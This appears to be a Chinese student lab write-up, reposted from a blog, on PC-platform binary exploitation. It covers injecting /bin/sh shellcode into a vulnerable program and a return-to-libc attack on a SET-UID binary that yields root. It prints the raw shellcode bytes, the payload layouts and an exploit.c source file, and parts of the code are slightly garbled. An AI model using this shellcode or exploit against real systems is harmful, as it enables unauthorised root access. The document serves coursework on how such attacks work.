博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
20145206邹京儒《网络对抗技术》 PC平台逆向破解
阅读量:5167 次
发布时间:2019-06-13

本文共 1475 字,大约阅读时间需要 4 分钟。

20145206邹京儒《网络对抗技术》 PC平台逆向破解

注入shellcode并执行

一、准备一段shellcode

877170-20170312102430170-884161495.png

二、设置环境

具体在终端中输入如下:

apt-cache search execstackapt-get install execstackexecstack -s pwn1    //设置堆栈可执行execstack -q pwn1    //查询文件的堆栈是否可执行

877170-20170312103906498-154295965.png

877170-20170312103926576-861352955.png

三、构造要注入的payload

1.Linux下有两种基本构造攻击buf的方法:

//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边1.retaddr+nop+shellcode2.nop+shellcode+retaddr

2、在终端中输入如下:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

3、打开一个新的终端窗口注入这段攻击buf

877170-20170312135013842-173560602.png
4、在另一个终端通过gdb调试确定返回地址
877170-20170312135214482-269437170.png
877170-20170312135316639-1677996452.png
5.通过如下方式寻找需要输入的地址:
877170-20170312135424451-617586888.png
6.回到另一个终端,将input_shellcode修改如下:
877170-20170312135613920-1238323019.png
成功了!

Retuen-to-libc实验

一、配置实验环境

877170-20170312142722951-1319007835.png

2.关闭地址随机化:
877170-20170312142827498-700283191.png

二、漏洞程序

1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:

2.我们还需要用到一个读取环境变量的程序:
877170-20170312142925186-933787590.png
877170-20170312142954826-485285126.png

三、攻击程序

1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

include 
include
include
int main(int argc, char **argv){ char buf[40]; FILE *badfile; badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh" *(long *) &buf[24] =0x22222222; // system() *(long *) &buf[36] =0x33333333; // exit() fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile);}

2.用刚才的getenvaddr程序获得BIN_SH地址:

877170-20170312153112795-499862003.png
3.利用gdb获得system和exit地址:
877170-20170312153222654-721490201.png
877170-20170312153259998-1378371981.png
4.将找到的三个内存地址填写在exploit.c中:
877170-20170312152300873-1647247022.png
5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:
877170-20170312153353873-2077348336.png
6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:
877170-20170312153544607-752865465.png
877170-20170312153602920-279448220.png
877170-20170312153726076-2014396447.png

转载于:https://www.cnblogs.com/ZouJR/p/6537685.html

你可能感兴趣的文章
Filter in Servlet
查看>>
Linux--SquashFS
查看>>
Application Pool Identities
查看>>
2017-3-24 开通博客园
查看>>
【MySQL性能优化】MySQL常见SQL错误用法
查看>>
3.6 字符串
查看>>
Vue2全家桶之一:vue-cli(vue脚手架)超详细教程
查看>>
Struts 2 常用技术
查看>>
树形DP
查看>>
Springboot实现上传文件接口,使用python的requests进行组装报文上传文件的方法
查看>>
python flask解决上传下载的问题
查看>>
博客园原始直链视频插入
查看>>
语法测试
查看>>
代码高亮测试
查看>>
CES1
查看>>
CES2
查看>>
python 数据类型_数组和元组
查看>>
python 数据类型_整数_浮点数
查看>>
数据结构----prim算法 最小生成树
查看>>
python 数据类型_字典和集合
查看>>